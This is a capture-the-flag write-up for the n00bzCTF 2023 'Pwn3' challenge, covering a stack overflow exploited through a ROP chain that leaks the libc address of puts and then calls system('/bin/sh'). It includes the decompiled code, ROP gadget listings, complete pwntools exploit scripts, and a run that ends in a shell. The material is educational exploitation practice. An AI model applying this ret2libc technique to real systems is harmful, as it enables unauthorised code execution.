Pwn3

by sunbather / .hidden

Tags: pwntools libc-database pwn leak rop

Rating:

Description of the challenge

This time you have nothing! Can you still exploit this?

Author: NoobMaster

Solution

Running checksec on the binary, we notice the lack of canary and PIE, just like the ones before it.

```
$ checksec pwn3
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY
Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   41 Symbols    N
o    0       1       pwn3
```

Open the binary in Ghidra:

```
void main(EVP_PKEY_CTX *param_1)
{
  char local_28 [32];

  init(param_1);
  puts("Would you like a flag?");
  fgets(local_28,0x50,stdin);
  puts("n00bz{f4k3_fl4g}");
  return;
}
```

We immediately notice the overflow on `local_28`. This time, however, we have no win function and no `system` either. Since the binary is too small for a full ROP payload, it must mean that we have to ret2libc with ROP.

```
$ ROPgadget --binary pwn3 | grep ret
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x00000000004010bc : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010be : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
```

```
0x000000000040122d : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004010c3 : cli ; ret
0x000000000040123b : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040122a : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004010c0 : endbr64 ; ret
0x0000000000401231 : in eax, 0x5f ; ret
0x0000000000401228 : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401230 : mov ebp, esp ; pop rdi ; ret
0x000000000040122f : mov rbp, rsp ; pop rdi ; ret
0x0000000000401227 : nop ; leave ; ret
0x00000000004011d8 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx
; nop ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401232 : pop rdi ; ret
0x000000000040122e : push rbp ; mov rbp, rsp ; pop rdi ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040123d : sub esp, 8 ; add rsp, 8 ; ret
0x000000000040123c : sub rsp, 8 ; add rsp, 8 ; ret
```

We find a `pop rdi ; ret` which is essential for passing `/bin/sh` to system. We have puts imported in the binary, which might help us leak a libc address and go from there. We can return to the PLT entry for puts, with the GOT entry as an argument (using `pop rdi; ret`). Running this payload will conveniently print puts libc address. Then, we can find the libc version, using the libc database search.

Afterwards, by downloading the found libc version and running it with gdb locally, we can find offsets from puts to everything else. We can even search for `/bin/sh` and calculate the offsets, using search-pattern from gef. Exploit to leak:

```
#!/usr/bin/env python3
from pwn import *

#target = process("./pwn3")
target = remote("challs.n00bzunit3d.xyz", 42450)

pop_rdi = p64(0x0000000000401232)

puts_plt = p64(0x00401060)
puts_got = p64(0x00404018)

target.recvuntil(b'flag?')
payload = b"a" * 0x28 + pop_rdi + puts_got + puts_plt
target.sendline(payload)
target.recvline()
target.recvline()
puts_leak = u64(target.recvline().strip().ljust(8, b'\x00'))
print(puts_leak)
print(hex(puts_leak))
```

We run the payload, get the address leak, find the libc versions and the offsets, and further fill in our exploit. An important step to take into account is the fact that we already waste all our inputs by leaking puts. So we should return to the main function at the end of our ROP chain, to abuse more inputs!

```
#!/usr/bin/env python3

from pwn import *

libc = ELF("./libc6_2.34-0ubuntu3_amd64.so") # the found libc version
#target = process("./pwn3")
```

```
target = remote("challs.n00bzunit3d.xyz", 42450)

pop_rdi = p64(0x0000000000401232)
ret = p64(0x000000000040101a) # align stack to 16-bytes again for system call

main_addr = p64(0x004011db)
puts_plt = p64(0x00401060)
puts_got = p64(0x00404018)

target.recvuntil(b'flag?')
payload = b"a" * 0x28 + pop_rdi + puts_got + puts_plt + main_addr # go back to main for more inputs
target.sendline(payload)
target.recvline()
target.recvline()
puts_leak = u64(target.recvline().strip().ljust(8, b'\x00'))
print(puts_leak)
print(hex(puts_leak))


system_addr = p64(puts_leak - 0x30170) # offset found with gdb/gef
print(system_addr)

sh_addr = p64(puts_leak + 0x1577c8) # found with search-pattern /bin/sh in gef

payload = b"a" * 0x28 + ret + pop_rdi + sh_addr + system_addr

#gdb.attach(target)

target.sendline(payload)
target.interactive()
```

Run the exploit:

```
$ ./solve.py
[*] '/home/sunbather/ctf/noobctf/pwn/pwn_series3/libc6_2.34-0ubuntu3_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './pwn3': pid 25635
140139460824784
0x7f74c2c80ed0
b'`\r\xc5\xc2t\x7f\x00\x00'
[*] Switching to interactive mode
Would you like a flag?
n00bz{f4k3_fl4g}
$ whoami
sunbather
```

Aaand we have a shell. Thanks for flying with .hidden airlines!

Note: pwntools has some functionality to automate finding offsets to libc, but for some reason I couldn't get it to work properly. Admittedly, it was my first time fiddling with it and was too lazy to make it work.

Original writeup (https://dothidden.xyz/n00bzctf_2023/pwn3/).

Comments